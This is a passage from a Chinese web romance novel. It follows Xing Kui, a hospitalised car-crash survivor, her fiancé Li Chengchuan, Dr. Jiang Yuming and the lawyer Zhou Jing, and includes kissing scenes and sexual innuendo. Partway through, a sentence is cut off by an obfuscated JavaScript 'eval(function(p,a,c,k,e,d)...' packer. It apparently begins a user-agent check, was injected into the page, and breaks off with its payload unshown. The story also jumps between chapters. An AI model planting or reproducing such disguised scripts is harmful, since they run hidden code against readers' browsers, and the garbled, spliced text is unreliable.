厉乘川要做的事,从来没人能阻止,周镜决定从他神秘的未婚妻入手解决麻烦。 他也想见识见识,是什么妖魔鬼怪。 周镜以需要了解案情为由,向厉乘川要了邢葵手机号码,拨出。 电话很快被接通:“喂。” 周镜一愕,捏眉心的手顿住:“你,在哭吗?” 隔着手机传来的声音哑哑的,如同被梳子梳过的棉花,能听出发声者正处在一个狭窄的空间,因为他的询问,好似愣怔了一下,反问:“我不能哭吗?” 没有,他不是那个意思……她似乎很生气,周镜感觉到她将手机拍在了哪儿,听声音像是某种皮质椅面。 她忘了挂断电话,周镜伸指,移到挂电话的红色按钮,忽而蜷起指节停住:只要他在通话中,周梨的夺命连环call就打不进来。 周镜移指,将手机放到一边,拆开钢笔套,开始忙工作——还望厉乘川的未婚妻不要哭得太吵——她一点都不吵。 久久听不到声响,放下钢笔,周镜狐疑地将手机拿回来,怀疑他的手机是不是故障了,分明显示还在通话中,对面却没动静。 他按住侧边键,逐渐放大音量,直至音量条拉到最顶端,手机内终于传来了一些很小的、几乎听不见的啜泣声。 她不是没动静,只是很轻微,周镜将脑子里对厉乘川未婚妻是妖魔鬼怪的初印象划掉,勾勒出一个躲在角落独自舔舐伤口的女性模糊形象。 她还在哭,为什么?是因为车祸还是厉乘川? 不知过了多久,周镜听见了不同于啜泣的声响。 楼梯间里,邢葵撕开果冻包装,大口大口地吃着,边吃边擦盈出眼眶的泪花。 吃完甜的,就忘记妈妈说过的伤人的话吧。 她没骨折,妈妈不介意女儿脑损伤和毁容,不介意女儿变笨变丑,才会笑称她没得大病。 妈妈对她没有恶意,她只是没上过多少年学,生存环境教她只会说那些,妈妈本质上很爱她,因为一句话就翻脸不认妈,那她这个女儿也太不是东西了。 朋友圈,以后邢葵不发了,记录生活,或许她该换个没亲戚能刷到她的平台,等她死后再让亲戚刷。 等到那时候,他们总不能再要求她回复了吧?她要真回复,他们可能会做噩梦。 邢葵咽下最后一口果冻,自我调理大功告成,抓着楼梯扶手爬起来,坐回轮椅,拿手机,咦,怎么还在通话中? “你变态啊听我哭!”邢葵气鼓鼓骂了句,挂断疑似诈骗的电话。 11. 第 11 章 周镜活这么久,职业又是律师,自没少听过别人骂声,但却还是头一回有人骂他变态。 以至于通话结束了,他仍盯着手机屏幕,少顷才重新拿起钢笔工作,笔尖在文件上写着批注,忽地顿了顿,金丝眼镜后的眸子轻掀波澜。 他介意,他就说了一句话,就被骂成变态。 周镜抬手,腕表显示十九点二十七分,他规定了自己晚八点前要处理好这份文件,还有时间,可以再给厉乘川的未婚妻打通电话,解释一下,他不是变态。 拿起手机,还没按键,一通微信语音电话打断了他。 周镜接起来:“你最好有事。” “我当然有事啊周哥!刚听许野说,你们聚餐没聚成,怎么回事?我还指望你们能从厉哥那儿探得点他未婚妻的情报呢!” 电话那头吧啦吧啦的,十足的话痨。 周镜轻皱眉梢,取出一张空白A4纸,拿着钢笔书写。 聚餐没聚成,周镜也不清楚原因,只知是江玉鸣接了一通电话,随后他和厉乘川就急匆匆离去。 而这之后,他给厉乘川的未婚妻打电话,她在哭。 聚餐地点“万盛酒店”,靠近江玉鸣家的“辉德医院”…… 蛛丝马迹落在纸张,在周镜钢笔金色的笔尖之下串联:厉乘川的未婚妻出车祸后,住在辉德医院,并且今天遇到了意外。 “周哥?周哥?你有没有在听?哎,我本来要回国的,碰上点事儿没回得去,周哥,你能不能去打听一下那个女人。” 不用打听,周镜都推理得七七八八了:“她出了车祸。”所以才没能结成婚。 “车祸?她死了?” “没死。” “那不影响结婚啊!”通话人一惊一乍,“厉哥是多么不达目的不罢休的人,欸?我觉得死了也不会影响结婚,厉哥会办冥婚。” 这倒是,周镜也同意,厉乘川要和一个人结婚,对方断腿、毁容、昏迷成植物人,他照样结,顶多有些情况不能申领结婚证罢了。 让厉乘川放弃的唯一可能,就是他主动放弃,可厉乘川岂会主动放弃?除非对方有问题。 “我知道了!”话痨男拳头击了下掌心,“怪不得,怪不得会出车祸,一定是那女的出轨,厉哥去捉女干,两辆车在公路上演速度与激情,嘭!” “……”周镜抿唇沉默一会儿,将手机远离耳朵,避免被通话人传染降低智商。 “厉哥太苦了,咱们做兄弟的,可得狠狠教训那背叛女。”话痨男噼里啪啦,“她的出轨对象也不能放过,人得贱到什么地步才会当小三,我就绝对不会当小三。” “……” “周哥,你也绝不会当小三对吧?” 周镜手撑住额头,细碎的发丝落在他的指尖,都懒得回答这样的问题:“正常人都不会。” “正常人不该总通过监控看未婚妻吧?” 住院区楼梯间外,厉乘川从江玉鸣手中抢走手机,监控室的保安已调取楼梯间监控,正在通过视频通话实时录像。 江玉鸣不紧不慢地靠到雪白的墙边,艳眸盯着他在厉乘川手上的手机,只要厉乘川退出和保安的通话页面,来到消息列表,就会发现他背着他添加了邢葵好友。 “她在哭。”厉乘川抓着手机,没有动页面的意思,眼里只有集团的总裁眼里装入担心,手背的筋都凸了出来,眉宇笼罩阴影。 她在哭?江玉鸣下意识移了一步,想看看画面,又控制着将移出去的脚移回来:“肯定是你拆果冻拆得太慢,她气哭了。” 厉乘川一掀眼皮,戾气森然地瞪江玉鸣:“怎么不说是你夺走她的零食,气到她了?” 当时他人在卫生间,自然听得清晰,“江玉鸣,就算你不喜欢她,也不必待她那么严苛,她最近挂了多少瓶水,嘴里发苦,想吃些刺激性的怎么了。” 江玉鸣被尖利的目光刺在身上,抵着墙,翻出一包魔芋爽:“那你去送给她吃?” 他怎么可能允许邢葵吃这个! 厉乘川要是能同意让邢葵随便吃,他就不会处心积虑让邢葵订万盛酒店的餐,并在万盛安排了一整支金牌营养师团队,一日三餐为邢葵精心配比。 两人都清楚,症结不在吃的,而在于邢母那通电话。 他们有听到一点点声音,但具体没听清,楼梯间门紧锁,江玉鸣舌头舔了舔上颌牙齿,他记得,邢葵通话时一直在笑,直到邢母说了一句话。 是方言,cuang-ba……chuang-ba?疮疤? “邢葵是哪里人?” “南州甘临市人。”厉乘川将手机丢还给江玉鸣,擦擦手,接过护工送来的一次性防护手套,给双手套上,“想到什么了?她哭很久了,再哭伤眼,我要开门。” 江玉鸣搜索起甘临市和疮疤有关的方言:“还没查到,你先开吧,楼梯间没空调,别冻着她……为什么不是我来开门?” 他没洁癖,直接推开就好了吧。 厉乘川压着眉看了看他。 懂了,给未婚妻开门这种事不想假手他人是吧? 也是,楼梯间光线不算好,坐在台阶上独自哀伤的人,伴随门推开的声响,浸泪的眸子忽地闯进走廊暖黄色的光,想想就会被开门的人勾引到。 想错了吧,江玉鸣划着搜索页,摇摇头,厉乘川在兄弟中知名的不解风情,他要能懂这些也不会被戏称为是注孤身的寡王。 门吱呀被拉开,江玉鸣本能抬眼望去,昏翳的光线压住走廊的光,灰白的光点飘舞,打开的门后半步,邢葵坐在轮椅上,仰着眸子看着他们。 眼眶一圈浅浅的红,湿润透亮的瞳仁装载他们的倒影,透着受惊的错愕,虚弱的唇微微张着。 纯净,如梦似幻。 她坐在昏暗中,是昏暗中唯一的光。 指腹的移动缓缓停下,江玉鸣明白了,厉乘川不是解了风情想靠开门吸引邢葵,而是怕邢葵会惊艳到别人。 “你们是在等我吗?”门是邢葵自己开的,明白情况,她弯起还沾着泪珠的眼睫笑,推动轮椅出来,“谢谢,我没事,回去吧。” 江玉鸣查到那句甘临市方言,走到厉乘川身边示意他看:疮疤当疖子,小病当大病,自己把自己看得金贵。 刹那间,厉乘川额边青筋暴起,英俊锋利的眉眼露出几分贪狼咬人时的凶狠,立在推轮椅回病房的邢葵后面,扯掉双手防护手套。 “冷静啊,你在邢葵眼里只是病友。”江玉鸣拉住他。 “我有分寸。”厉乘川甩开江玉鸣的手,拨通电话,“我要弄废一句甘临市的方言,不管你们用什么方法,最迟三天,我需要甘临市所有人都意识到对病人说这句话有多恶心。” 江玉鸣听着,没有阻止。无论讥讽还是调侃,无论病人得的病严不严重,这句话都不该向病人说,完全无视了病人正在经历的疼痛、恐惧、焦虑。 况且邢葵遭遇的是差点夺去她性命、损毁她大脑和脸的车祸,她甚至还没出院。 今后,邢葵不会再在任何人嘴里听到此话,尤其是她的家人。 轮椅被人推动,邢葵扭头看到厉乘川和江玉鸣:“就这么几步远,我能自己推啦。” 是啊,你能靠自己调节,他们仅是为你做些力所能及的事。 病房里明亮又温暖,因为厉乘川洁癖,定时会有专人来清洁,也比别的病房干净。 邢葵感受着室内空调的温度,在江玉鸣的帮助下重新坐到病床,万盛的人先前送来了晚饭,保温盒的保温性能好,这会儿还热乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“噗。”江玉鸣笑,调出体检报告,嗓音很苏,“刚刚没我的饭,现在两边都有我的饭,得,不如我们三一起吧。” 邢葵&厉乘川:“同意。” 厉乘川也有体检报告,翻出来给邢葵看,邢葵这段时间在医院做了五花八门的检查,也是体检,也拿出来展示。 一盒一盒的菜被放上床头桌,三个彼此确定没有传染病的人坐了三边。 拿起筷子,江玉鸣解开蓝色医用口罩,一张红玫瑰般绮丽的脸随意暴露在室内灯光下。 邢葵直接看呆了,夹起的排骨掉进碗里,她还是第一回见到江玉鸣不戴口罩的脸,我的天,这合理吗?怎么会有这样美的人? 明明从医生名牌已经看过他的脸了,亲眼见到真容仍被深深震撼! 美,且极具攻击性,不会雌雄莫辨,一眼就知道他是男性,鼻子、嘴唇、下颌,悉数天工造就,特别唇瓣,上唇饱满下唇薄,呈红玫瑰的颜色。 邢葵低头夹起掉下来的排骨,觉得她有食欲了!再瞅瞅对面和江玉鸣不同风格的厉乘川,想必更能有——病友为何臭着脸啊?不能惹不能惹,不看他了。 厉乘川唇抿得更加紧,指甲掐着筷身,觉得方才他应该叫江玉鸣走。 手机亮了亮,他睨了眼,一丝喜色掠过他的眼眸:“周镜答应接你的案子了。” 邢葵欣喜,厉乘川说过要给她介绍律师,她刚想说话,自个儿手机响了,来电号码眼熟,是那个听她哭的诈骗电话。 接起来:“喂,骗子,我真的没钱,我连吃饭都要拼桌,不要再给我打电话了。” 挂掉,对厉乘川,“我能加一下周镜律师微信吗?” 16-20 第16章 邢葵怀疑她幻听了,车祸没撞伤她的耳朵吧?她按了按耳朵。 江玉鸣的住所在她看来宽敞极了,处处黑色白色,只有玫瑰的红作点缀,江玉鸣站在玄关外,身后是客厅,再往后是落地窗,午间的阳光宛若鎏金,他也像镀金的玫瑰。 曾经戴着口罩也能看出美丽的眼睛,正含着戏谑勾人的笑意盯着她。 他说什么?试一试?试什么?这是可以试的吗?啊?她、她来吗? 邢葵脸颊爆热,说不出话,嘴张张合合好一会儿,才磕磕绊绊发声:“你、你太客气了。” 江玉鸣微动唇,在灿阳中注视着她,缓慢发出一丝笑:“没胆啊?” 妈妈!他好像诱人犯罪的妖精! “有胆!”邢葵下意识大声回应,说出口后连耳朵根都胀疼得厉害,闷头小步地走近江玉鸣,嗫嚅,“怎么试啊?” 怎么想江玉鸣都说得有道理,他究竟举不举,光用嘴说定不能轻信,否则之前厉乘川说江玉鸣不举的时候她就信了,哪会再次询问。 是得试试,是得实际验证一下才能确定答案。 邢葵羞得像熟透的水蜜桃,低着头,视线不知道往哪里安放,虽然为解决催婚鼓起了勇气,但这件事对她的难度也是十颗星。 她比江玉鸣矮二十多厘米,站在他身前颅顶只到他精致的下巴,帽檐遮盖让江玉鸣看不清她的表情,但外露的耳朵飘红,唇瓣也羞涩地抿着。 “没经验?” 高度紧张中,江玉鸣任何声音于邢葵都是魔咒,化作千丝万缕穿进耳窝,什么经验?噢,经验:“没有不行吗?” 当然不是,只是,不能吧……都和厉乘川要结婚了,厉乘川可不是吃素的和尚……大概她忘了。 “也、也是有的。”邢葵一鼓作气道,“我上学那会儿看过许多文,有不算丰富的理论知识。” 江玉鸣低笑:“为什么是不算丰富的?” “因为网站不允许描写脖子以下。” 江玉鸣笑声微重,好听得邢葵踢了他一脚:“别笑了,到底要怎么试。” 她是真没经历,细数过去二十几载的人生,也就高中时代有过青涩的一段,还没碰上嘴就被举报到班主任那里。 现在想想真恐怖,世上很多女生都仅仅在学生时期有过朦胧暗恋,结果一脱离学生身份就被压着嫁给根本不知根知底、只存在于媒人口中的“老实男”。 邢葵绝对不要过那种鬼日子!她一定要给自己挑个合适的契约结婚对象! “不知道啊,我也没经验。”被她踢了一脚的江玉鸣耸耸美人肩,“想知道我能不能举的又不是我,邢葵,你得主动点啊。” “行!”为了逃离催婚,邢葵拼了,先前她看过江玉鸣的体检报告,非常健康优秀,令人放心,“要不先试试接吻?看看这样你能不能有反应。” 江玉鸣低头看着她,不语默认。 邢葵紧紧闭着唇踮起脚尖,接吻不就嘴贴嘴,接着两条长肉缠缠,简单,她可以的!闭眼冲! 江玉鸣抬脚。 嗯?怎么没亲到?她有这么矮吗?再往上够够。 江玉鸣再抬脚。 怎么还没亲到?她真这么矮吗?再够够。 江玉鸣再再抬脚。 感觉亲了一嘴空气的邢葵疑惑睁眼,看明白情况:“你——” “嗯,睁着眼睛就对了,好好看着跟你接吻的人是谁。”江玉鸣落脚,温热的手穿梭过她的腰窝,柔软的两瓣也覆下来。 又热又软,仿佛加热后仍保持原状的云朵,她的腰被束缚着向他贴近,微张的唇吞噬进他的气息。 江玉鸣艳冠群芳的脸离得极近,肤白干净,他不让她闭眼睛,自己却闭着,睫毛又黑又长。 嘴里的长肉软且韧,先是经验不足地浅探,接着搅动起温度,热泽在湿绵绵的吻里交错传递,她的大脑嗡鸣,失去运转能力。 不会换气。 邢葵呜咽一声,为达目的勇敢不退,抱住江玉鸣,从他的嘴里懵懂又莽撞地偷取呼吸。 江玉鸣停顿一下,唇角一翘,修长滚热的手落到她后颈,轻慢地捏起那里软肉:“别着急,嗯,对,是这样,别着急,好孩子。” 邢葵腿本就有伤,更加站不住,江玉鸣清 楚她的状况,拦腰抱起她来到沙发,她得以坐到他的腿上。 瞥了眼腰带以下,邢葵继续贴上江玉鸣,手抵在他胸口红毛衣。 是为寻明答案,也是有点儿喜欢亲江玉鸣,吻他就好像在吃玫瑰味的软糖,香软,新奇,一口一口停不下来。 无法运作的大脑被持续灼烧,邢葵毛毛躁躁吸取着江玉鸣的气息,让他也跟着紊乱呼吸,大拇指覆到她的脸颊摩-挲。 “跪下!” “你啊你,什么时候能像厉乘川一样优秀!” “记住了……要和厉乘川兄友弟恭,永远和他亲如手足。” “叫陈妈进来收拾,地面都弄脏了。” …… 如果他和厉乘川撕破脸,他父亲会不会被气到犯心脏病,真好奇啊…… 他正在亲厉家未来的女主人,厉家未来的女主人正坐在他的腿上。 “等、等一下。”邢葵手按在江玉鸣胸口,喘着气退离,面颊晕染粉红,双眼湿漉漉,“这样可以验证了吗?” 腰带以下保持原样。 江玉鸣额头抵到她的额,抚摸她的脸:“你的意思是,你拿我当‘亲一下就能发情的畜牲’验?” 不止亲了一下好不好!邢葵委屈:“我很努力了。” 江玉鸣翘嘴笑,又啄了她几口,把人按在怀里,压在沙发满是伤痕的后背灼痛,但可爱有趣又勇敢的邢葵很神奇地能克住这股疼。 他早该有反应了,是他自己强行忍下:“你还没有告诉我,为何要在意我举不举。” 坚持不懈地加他微信,对他笑的次数远超对厉乘川,蛛丝马迹都指向两个字:好感。 “你别误会啊,我不是看上你了。”邢葵解释,捧住脑袋,“啊不是,我是看上你了,但不是那种看上,我一直被家里催婚,我想找个人假结婚。” 抱着她的江玉鸣愕住。 “是我说得太直白吗?不好意思,我想想措辞。”邢葵憋不出来,“你别不说话呀,光我一个人讲很尴尬的,只是假结婚,不用你履行夫妻义务,你要不举就太好了,我也能放心……” 江玉鸣听着她一句一句地说,起初还有逻辑,后来脑子支撑不住,越讲越乱,少顷,他扬起嘴角:“这样我很失望,我还以为你喜欢我。” “也喜欢你,你很适合做契约结婚对象,你要不举就更完美了。”邢葵说着,但显然她口中的喜欢和江玉鸣指的不是同个意思。 话没说完,唇被江玉鸣捕捉,余下的言语在唇舌中碾磨成气音。 什么呀,他好像生气了,愿意还是不愿意啊?到底举不举的问题也没解决,不许亲了!不许亲! 身体诚实地抗拒不了,邢葵气恼地咬他,尔后被吻得晕眩,迷迷糊糊感受到什么,江玉鸣艳红的唇覆到她耳边,在热气喷洒中将一句滚烫的话送进她的耳朵。 邢葵惊:“你!你——”耳朵连着脖颈瞬间彻底红透,她恨不得会魔法,能挥手挖洞将自己埋进去。 江玉鸣说—— “那我也要让你失望了。” “我能举。” “还能举得很高。” 啊啊啊啊啊!那她刚才感觉到的是什么不言而喻,邢葵想逃跑,可江玉鸣的手箍着她,她索性捂住自个儿的脸:“别说了,医生叮嘱我要心平气和,让我静静。” 江玉鸣笑声戏谑:“嗯,好,你也别动了,我也需要静静。” 几秒后,邢葵重新听见江玉鸣声音,“我单身,邢葵,且已经单身了二十九年,身体健康,定时体检,即使能举也不会乱搞。” 邢葵看他:“你是在答应我?” 江玉鸣道:“我指的是,能举的人不一定坏,不能举的人不一定令人放心,医院上个月还接收过一位伤者,她的丈夫因为性无能用酒瓶捣烂了她的下-体,你找假结婚对象,查能不能举查不出人品好坏。” 邢葵听着:“那你要答应我吗?” 热量袭来,江玉鸣单手捧住她半张脸,摩动,狭长迷人的眼里装着她瞧不懂的情绪,邢葵不明白,凑近去啄了啄他的唇,期待地望着他。 “不要。”他蓦地张唇,大拇指按上她的唇心,“还以为你喜欢我,原来你只是想利用我,我很伤心,邢葵,你坏。” “……”什么嘛!白亲了!“放开,我要回家。” “太过分了邢葵。”江玉鸣圈着她不放手,眸子混蛋似的弯着,说话却如含冤受屈的小媳妇,“不同意就要跑,一点责任都不负,我还没软下来呢。” 本以为邢葵喜欢他,江玉鸣眼底黯淡,没有感情的话,他不能将她拽到身边,不能将纯粹在认真挣扎生活的她拉进江家漩涡里。 只是,不喜欢他还亲他,他都对她石更了,他头一次对人石更,接吻全程也丝毫没想到超模,想的全是她。 她怎么这样? 邢葵悄悄垂眼瞄了瞄,热意充脸,害羞生气又逃不掉,只能一动不动坐着,多久能平下去啊:“喂……江医生……” “叮铃”——猝然响起的门铃声吓到邢葵,江玉鸣拍拍她安慰,长手取过沙发上的遥控器,门外监控拍到的场景投影出来。 来人穿着早些时候和邢葵见面时穿的灰大衣,金丝眼镜后的眼窝明显,右手提着一个箱子。 “周镜?”江玉鸣疑惑,“这个点他不在事务所来我家?” 邢葵也不懂,注视着江玉鸣腰部以下,紧张地扯他衣裳:别让周律师进来!我要脸! 江玉鸣倒是想答应,但只见画面中的周镜弯腰打开随身箱,里头摆有许多工具……他要拆门! 束缚在邢葵身上的手松开,江玉鸣将她挪到一边:“别担心,不会让他发现的。” 他站起来的时候差不多平复,邢葵呼气,向脸颊扇风,打算装玩手机,点开屏幕,周镜的信息占据页面。 【?】 【你怎么去江玉鸣家了?】 【为什么给我发定位?】 【等我。】 完蛋!是她惹来的周镜!邢葵瞬惊,她全部心神都在江玉鸣身上,完全忘掉了这回事,更没料到周镜会因为一条定位赶过来。 不知情的江玉鸣打开门,还调侃好兄弟:“怎么,你今天和我一样请假不用上班?” 周镜持着扳手,斜睨了眼江玉鸣穿过他走进屋子,见到好好坐沙发上的邢葵紧绷的手腕微松:“没事吧?” 江玉鸣眯眼:“邢葵?” 周镜抬了下眼镜:“她给我发了定位。” 江玉鸣想通:“噢,她想记一下我住的公寓地址,大概发给文件传输助手时点错了。”他步到邢葵身边,手落上她膝盖,“她腿疼,来找我,我是她的医生,对吧?” 邢葵速度点头:“对对对,江医生交代我,腿不适要找他,但他今天不在医院,所以……对不起周律师,都怪我没注意发错了。” 狐疑的视线在她和江玉鸣身上来回打转,周镜最终放下扳手,他没理由不信。 一来,厉乘川会给邢葵安排最好的医生,她既在辉德住院,江玉鸣一定会是她的骨科医生。 二来,周镜是最近与邢葵发微信的人,是有可能错发给他。 三来,他此前开车跟随邢葵许久,知道她确实用腿过度。 “好点儿了吗?”周镜扫了扫邢葵膝盖,江玉鸣的手搭在其中一个上,令他皱起眉头,“江玉鸣,松开,去戴手套。” 知道江玉鸣不尊体统,但再不尊,也得考虑考虑邢葵身份,邢葵可是他们好兄弟厉乘川在乎的未婚妻。 江玉鸣移开手,耸肩:“已经检查完了,就是走多了路,歇歇就好。” 何止,邢葵默默在心里补 充,还因为被你亲多了有点软。 “歇歇?”周镜重复一遍江玉鸣的话,看向邢葵,温柔和气,“今天你别回家了,就住这儿吧。” 邢葵懵懵:“啊?” 江玉鸣:“我同意。” 周镜:“我也住这儿。” 江玉鸣:“随便你。” 很快家政阿姨被叫来收拾房间、准备午餐,直到洗漱完毕,躺在床上的邢葵都是懵的,她本来要回家的啊? 休息一下午,宕机的脑袋缓缓重启,容她复盘一下:首先,她在交警大队得知车祸真相,更加坚定要寻人契约结婚;然后,她付诸行动发信息给江玉鸣;接着,江玉鸣带她来到他家,她开始验证…… 江玉鸣说,她只是想利用他,所以不答应,是这个意思吗? 自古合作要谈成,双方都要有需求,邢葵手抵住下巴,她是不是该找找江玉鸣的需求点啊?好为难她哦,直接去问吧。 她挪下床,睡衣是江玉鸣下午给她买的纯棉睡衣,鹅黄色菱格纹;拖鞋也是江玉鸣买的包跟棉拖,毛茸茸的,大面积绿色,上面缀了小向日葵,穿在脚上很适脚。就如江玉鸣这个人,是她目前看来最适的选择。 但要实在不行,她就只能换人了,哎,天下男人那么多,可相貌职业和人品……不提满分,都及格的都凤毛麟角。 邢葵打开门,对面房门前,穿着灰色睡衣的周镜偏过脸,一只手正要开他房间的门,另一只手握着一杯冒热气的水,凤毛麟角之一。 “周律师?这么晚了还没休息啊?” “你不也没休息?这么晚了出门要干什么?” 邢葵闪了下眼神,准备编谎,周镜却一步向她迈过来,挡住投到她身上的月光,“你心仪江玉鸣,厉乘川知道吗?” 先前,邢葵和她以为是骗子的周镜通话时,曾说过她心仪某个人,当时周镜以为是厉乘川,现在想想,或许不是。 这件事,厉乘川知道吗? “为什么要让厉乘川知道?”邢葵倍感莫名,想起病友老阻碍她加江玉鸣微信,“可不能让他知道,他会阻止我的!周律师,你能不能,再帮我保守下这个秘密?” 周镜:“什么?”他有些,震撼。 邢葵双手合十:“拜托拜托。” 周镜手穿过发丝,他只了解邢葵不记得车祸发生过程,还不清楚邢葵连厉乘川都忘了,在他听来她的请求简直匪夷所思甚至疯狂。 “帮帮我吧,好心的周律师。”她这八字还没一撇呢,不能中途被破坏,而且一撇画不成的话,她还得换人,“也许下一个就是你了,周律师。” 玻璃杯中热水都晃动起来,邢葵,你要不要听听你在说什么? 邢葵恳求地望着周镜,眼神清澈单纯,哪里知道她和周镜信息不对等。她又是位脑损伤患者,偶尔会控不住言辞,于是语出惊人。 周镜着实被震惊,手都在抖,不明白邢葵怎能用如此无辜的目光请求他背叛和厉乘川的兄弟情谊,隐瞒她想找江玉鸣劈腿的心思,甚至她还想找他劈腿。 可能算不上劈腿,她和厉乘川理应已经分手,可那也是要他将兄弟情放脚下踩! “不可以吗?周律师。”邢葵有点急了,前倾身体,周律师能帮她保守车祸真相秘密,那是因为他是她的律师,这件事人家没道理替她瞒,她刚刚还心急说错了话。 周镜都用“不敢相信”的眼神看她了,怎么办呀。 右边江玉鸣的房门作响,邢葵眼睛一亮,想求助要出门的江玉鸣,手腕却突然被周镜攫住,他拉着她退到她房里,关上门,瘦长的食指竖起做了个噤声手势。 才不要噤声,她要找江玉鸣帮忙!周镜一把捂住她的嘴……干什么! “唔,唔!”唇柔软,在掌心挣扎,恍惚像在模拟接吻,周镜眸光微变。 邢葵没注意,一心逃出去,又用手推周镜,他另一只手要拿水杯,没法儿控她,门外江玉鸣的脚步声响着,周镜干脆用臂膀压住了邢葵。 轻轻松松,他看着瘦,其实拥有邢葵反抗不了的力量,她想动腿,腿也被绝对的力量压住。 邢葵不动了,她无法动,也不敢动,两人身体几乎贴在一起,且都只穿了睡衣,她能感觉到周镜灰色棉质睡衣之后肌肉扎实,还有,还有……两个点? 门外脚步声渐远,周镜方放松心神,胸后心脏起伏,感受到什么,后背寒毛竖起。 睡觉通常不穿文月匈。 邢葵百分百无辜地盯着周镜,他猛然后退,水杯中热气腾腾的水洒出,烫红他骨节清晰的手指。 “没事吧周律师!” 周镜抬手,止住邢葵向前的步伐,房里开了小夜灯,他的掌纹在微弱的光线中若隐若现,斜穿掌心的智慧线又长又深刻。 他收起手,偏过脸,俄顷又偏回来,眸色复杂地盯着她。 干什么嘛!又不是她贴他,是他主动贴的她!她还觉得他莫名其妙呢! “你有渴肤症?” 什么? 邢葵听不懂:“什么是渴肤症?” “渴望与他人亲密接触,抚摸、拥抱、接吻,甚至更多,你有这样的症状吗?”不然,在周镜看来,没理由解释邢葵大半夜要去找江玉鸣,还口出狂言下一个轮到他,连他俩是厉乘川兄弟的身份都不顾。 只能说,周镜误会很深。 邢葵都发觉他误解了,刚想解释解释,他在小夜灯昏暗的光线里皱下眉,突然说:“找我吧。” “?” “别去找江玉鸣,他看起来人模人样,实则性子恶劣,你靠近他,他表面会配合,实际虚情假意,一肚子坏水,谋算着未来某一日将你狠狠羞辱。” “?” 江玉鸣,我要举报,你兄弟说你坏话! 邢葵回忆了下白天的江玉鸣,没有啊,她没瞧出是假意配合,江医生亲得热情无比,要不是周镜忽然拜访,他可能还会继续亲嘞。 “所以,找我吧,渴肤症是病,我会帮你治好它。”倘若她和厉乘川没结成婚的问题是这个,去找江玉鸣就没救了,她和厉乘川之间不会再有转圜可能,更会因此波及到友情。 周镜在短时间内计算出损耗最少的做法,他来,他是相亲相爱兄弟群中的最理智,他在兄弟中最有自控力。 听得稀里糊涂的邢葵只听懂一件事:他在自荐。 邢葵瞪大眼,上下审视周镜,外形十分、职业十分,性格初步接触下来也不错,温和话少,严谨有度,最关键的是,他刚刚话的意思是,他会主动配合她解决问题。 渴肤症可以,那假结婚可不可以? “咚咚”!邢葵靠在门上,乍响的敲门声仿佛敲了两下她的后脑勺,把要脱嗓而出的话都敲回肚子。 “周镜,大晚上在我的病人房里做什么呢?你的水洒门外了。” 是江玉鸣,还好他打岔,邢葵得以冷静,不能急不能急,周镜才和她见过几面,一问像问江玉鸣那样问失败了就没戏唱了。 瞄了眼周镜手里的杯子,大抵是他拉她进门时弄洒了些,她看了看周镜,得到他点头,打开门。 门边,江玉鸣没骨头似的靠着墙,身长腿长,红色睡衣穿在他的身上犹如液状的红宝石,撩人的眸子先看她一眼,再戏谑地视向她身后周镜。 “工作上的事。”周镜穿过她走出,偏头注视她,“需要保密。” “是吗?”江玉鸣也看向邢葵,“你说呢?” 两道视线,一道平静如水,像清湖也像深渊,让人忍不住追随;一道多情黏稠,似花汁也似毒液,让人忍不住溺陷——别为难我! 邢葵肃穆地颔首:“挺晚了,大家休息吧。” 周镜房间就在她对面,他转身进屋,邢葵转身也要关门,一只手却按住门,江玉鸣食指抬起抵到唇瓣,比了个嘘的手势。 接着,他正常走向他的房门,打开,又关上,随后放轻脚步走回,走进邢葵屋中阖上门,瞥了眼周镜洒到地 面的水:“你对他做什么了?” 邢葵反问:“为什么不是他对我做什么?” 江玉鸣摸摸她的头,弯唇笑笑,抱起她走向床:“周镜守规守矩,看似平易近人实则拒人千里之外,若非你做了什么或说了什么,他怎会大半夜在你房里和你独处,还躲着我?” “你刚才出门就发觉了吧?你没偷听?”邢葵坐到床上,扯过被子盖住发凉的腿。 “我倒是想偷听。”江玉鸣坐到床边,“谁让我家隔音太好,哎,早算到今晚,我就用差些的材料了。” “胡说吧你,我都能听到你在外面的脚步声。”邢葵竖起枕头,抵住后腰,“可能你没听全,多少还是听到一些,不许亲我!” 邢葵往后仰,手按住江玉鸣的嘴,江玉鸣便没皮没脸吻起她的手,一边亲,一边盯着她,尖长的舌打了个圈,他慵懒地笑:“啊,我们好孩子真聪明,我听到,他让你别来找我,去找他,在我家撬我墙角,真是个贱人。” “……”你这么亲,你不贱,“你误会了,他不是那个意思,他——唔,让我把话讲完!” “不听。”江玉鸣卷住她的舌,将她困在床头深吻,拽着她坠进云端里。 邢葵高仰着脖颈,手从揪被子到揪住他的睡衣,褶皱逐渐变深,直到她真的喘不上气,江玉鸣才轻柔下来,缓慢舐舔。 晚上邢葵用的是他的牙膏,唇齿间都是没散去的花香味,证明周镜和她还没到接吻的那一步,江玉鸣退出来,笑。 邢葵瞪他,抹了下嘴:“光知道亲,你又不答应和我假结婚。” 等她抹完嘴,江玉鸣又飞快低下头啄了她一下,笑得她晃眼:“我只亲过你,我又专一,以后想亲的时候只能找你了啊。” “?”不怪周镜说他性子恶劣!有这种毛病在他们第一次接吻时不说! “觉得周镜如何?让他来做你的假结婚对象怎么样?” 邢葵立时惊愕,说不出话,江玉鸣灼热的指头落到她额上,带着温度,轻轻触摸那条她不想看的丑陋疤痕。 “周镜不会是嫌弃这条疤的人,够格当你的假结婚对象。” 邢葵确有在考虑周镜,但她不明白为何江玉鸣不行,江医生和她相处的时间更长,她更愿意选他:“为什么你不行啊?” 江玉鸣手指从额头滑下,落到她的嘴角,目光灼灼:“我需要你喜欢我,你做得到吗?” 邢葵想了想,摇头。 “太让我伤心了邢葵,你就思考了几秒钟。”江家就如深海漩涡,没有感情牵系,江玉鸣岂能拉她下水,他依然想破坏江厉两家关系,但换了个思路,“看来我只能帮忙撮合你跟周镜了。” 一只冰凉的手贴到江玉鸣额头,邢葵拧下眉梢:“没发烧啊,你要帮我找假结婚对象?” “我乐善好施、乐于助人、乐得帮你不好吗?”江玉鸣长腿一迈,踏上她的床,钻进她的被子,“过来,身上冷死了,你要冻死谁。” “你,谁准你钻我被窝了!” 